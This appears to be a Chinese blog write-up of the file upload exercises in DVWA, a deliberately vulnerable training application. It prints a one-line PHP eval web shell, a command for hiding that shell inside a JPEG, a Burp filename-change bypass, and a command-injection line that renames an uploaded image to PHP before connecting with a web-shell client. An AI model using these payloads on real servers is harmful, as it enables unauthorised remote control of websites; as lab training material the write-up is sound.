DVWA文件上传

Low安全级别:

<?php @eval($_POST['cmd']);?>

文本编辑器写入一句话木马,保存并改为php文件。

上传

成功上传,并返回路径

打开菜刀客户端连接

成功连接

反弹shell

Medium安全级别

上传php脚本发现,上传类型做了限制,只允许上传JPEG和PNG类型。

思路一:利用图片马上传

将php和jpeg文件 用copy命令 合成一张图片

Copy behinder.php/b +image.jpeg/a imageHack.jpeg

上传图片马

上传成功

菜刀连接

连接成功,返回shell.

思路二:burp抓包改文件格式

如图 抓包 filename 为jpeg格式

将其改为php格式

发送请求包

上传成功

菜刀连接地址

成功

三.high安全级别

同样能用图片马连接成功,但是无法返回shell

需要结合High级别的文件包含漏洞一起利用。

127.0.0.1 & mv .. /../hackable/uploads/behinder.jpeg ../../hackable/uploads/behinder1.php

将 jpeg文件重命名为php执行。

再用菜刀进行连接。

posted @ 2023-05-12 13:28  fugodd  阅读(112)  评论(0编辑  收藏  举报